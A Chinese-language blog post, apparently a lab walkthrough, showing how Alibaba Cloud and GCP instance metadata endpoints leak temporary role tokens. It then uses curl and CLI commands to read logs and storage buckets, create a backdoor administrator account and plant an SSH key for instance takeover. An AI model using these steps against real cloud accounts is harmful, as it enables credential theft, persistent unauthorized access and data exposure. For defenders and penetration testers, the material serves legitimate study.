云平台metadata利用

实例元数据(metadata)是关于实例信息的一组信息合集,用于配置和管理运行中的实例,metadata包含不同类型的数据,包括DNS信息,主机名,region相关信息,VPC信息,网络类型与安全组,账号,RAM角色、系统事件等信息。一般分为一下两大类:

  • 基本实例元数据,包括基本信息与系统事件信息
  • 动态实例元数据,包含动态生成的标识数据,一般用于身份的标识验证

需要注意的是,虽然metadata只能通过在实例本身进行访问获取,但是获取到的数据是不受身份验证或加密保护的。这一点的存在也导致了SSRF漏洞在云平台、甚至云服务上有了新的用处,即获取metadata实例元数据进而利用。

metadata的利用大部分集中在实例具有RAM角色或者存在IAM角色,这时可以通过metadata的接口获取到临时Token,这个临时Token具有该角色的所有权限,如读取存储桶、读取日志、执行指令、甚至创建后门账号、后门实例等等。 下面以Alibaba CloudGppgle Cloud Platformmetadata利用为例。

Alibaba Cloud Metadata Exploit

首先是阿里云,在阿里云ECS实例中即可访问100.100.100.200/latest/meta-data,会返回所涉及的基础元数据信息。当然这些数据虽然比较敏感,但其实只是机器的基本信息,并没有什么太大的危害,而当只有该实例被授权了RAM角色时,这时候通过metadata可以获取临时STS token,进而获取该角色的所有权限。

Aliyun Metadata

要可以被利用,则首先需要该实例具有RAM角色权限,通过如下方式授权。RAM角色是阿里云的身份管理的一个概念,可以理解为一组权限列表的集合。

给ECS授权角色 新建RAM角色 给RAM角色授权Logstore读取权限

这里我们新建一个AliyunTestRole并只授权Logstore的读取权限。之后再在ECS访问时,便会新出现/ram路径,通过/ram/security-credentials/可以获取RoleName,再通过/ram/security-credentials/RoleName即可获得STS Token.

获取STS Token

这样我们拿到了临时Token,之后我们在尝试通过这个token来获取logstore日志:

1
aliyunlog log get_log --project=xxx --logstore=xxx --from_time=xxx --to_time=xxx --size=1 --sts-token=xxx --region-endpoint=xxx --access-id=xxx --access-key=xxx
通过STS Token获取Logstore数据

可以看到,通过aliyun-cli利用STS Token即可做该角色所有权限的事情。这里再介绍最为常见高危的一种,创建账号并可以登陆控制台。当然,这个要求该角色具备这些权限。 首先通过STS Token的 createUser 创建一个用户,并配置密码,之后授权AdministratorAccess管理员权限,

通过STS Token创建用户 通过STS Token配置密码 通过STS Token授权

之后登录便可具有控制台的权限,注意登录名是userName@账号id的形式,账号id可以通过aliyun ram GetAccountAlias获取。

使用后门账号密码登陆 后门账号登陆成功

至此利用成功,除了可以创建后门账号登陆外,有了token也有很多其他的利用方式,这里不再赘述,有兴趣可以看我的云上利用常见总结。

Google Cloud Platform Exploit

和aliyun类似的思路和步骤,GCP的整体思路和流程也基本一致。谷歌的metadata使用域名的方式进行访问,因此使用metadata.google.internal或直接使用其解析的保留地址IP 169.254.169.254均可。我们首先在VM里面去直接请求下,我们可以看到,直接通过curl请求显示403错误,缺失了Metadata-Flavor:Google header字段。可以看到,这一点google的有着更严格的限制,基本杜绝了通过SSRF漏洞来获取metadata的数据内容,因为正常业务请求时基本不会带上这个字段,这一点确实比阿里云做的好。除此之外,还有以下的限制:

  • 请求需带Metadata-Flavor:Google header
  • 不接受任何包含X-Forwarded-For字段的请求,这些请求一般是转发过来的
GCP Metadata 403

我们带上Metadata-Flavor:Googleheader之后,可以正常返回了。

GCP Metadata success

GCP对新建的每个实例会默认附带一个服务账号,这个服务账号有3种可选的访问权限范围,默认、全部及自定义。可以通过metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token获取token并根据metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes获取访问权限范围。这里注意token会返回一堆.....这个忽略去掉就好了,我一开始还以为是脱敏处理拿不到token。拿到token后可以使用google api来进行token验证。

GCP get Metadata Token

我们来看看默认的策略具有什么权限:

1
2
3
4
5
6
7
8
[xxx@empty-xl-gcp ~]$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H "Metadata-Flavor: Google"
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/trace.append
GCP Metadata scopes

我们可以看到,其实这里访问范围是对存储桶有读权限的,这里的读是针对项目的所有bucket生效,这一点非常重要。 我们通过API即可获取存储桶,进而获取文件内容。

GCP get bucket via token GCP get bucket object GCP get bucket object GCP get bucket object data

除了读取数据,我们还可以通过写入元数据SSH密钥的方式获取实例控制权限,前提是具有auth/compute访问范围。首先是获取metadata fingerprint,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
1.获取fingerprint
curl https://compute.googleapis.com/compute/v1/projects/proud-archive-360203 -H "Authorization":"Bearer ya29.c.xxxxx"
{
"kind": "compute#project",
"id": "3341288xxxxx",
"creationTimestamp": "",
"name": "proud-archive-360203",
"commonInstanceMetadata": {
"kind": "compute#metadata",
"fingerprint": "TkjH3rLXXAw=",
"items": [
"key":"ssh-keys",
"value":"xxxxxx"
]
2. 使用setCommonInstanceMetadata API 设置 ssh元数据 添加一个ssh key进去
ssh-keygen -t rsa -b 2048 -C "user@server"
curl -X POST -vv https://compute.googleapis.com/compute/v1/projects/proud-archive-360203/setCommonInstanceMetadata -H "Authorization":"Bearer ya29.c.b0AXv0zTOigiF6adb2QoyoYI-DTtENRneyg5jSSEod4MefSZJX_8i6S2tkiAwP6smC5WAfNHv2L5iDfliyFuz_AZqCceDelY599T2CSLe7LV-tTPaBy64k6YfHP8Sudgr9suhLqoc1yZIrJrhKOcDWoTx7HmbmTu1HunG9XbR0kYrPliokQ6m4uQvfhSleVAtnVjU0HlVFihzeVGUJVjp6QVmRgQ" -d @/root/data_metadata.json
post_data:
{
"fingerprint": "d6ZUq4Nc2Qw=",
"items": [
{
"key": "ssh-keys",
"value":"user:ssh-rsa AAAAB3NzaC1xxx user@empty-xl-gcp-123"
}
]
}

最后即可通过密钥证书直接登录获取服务器权限。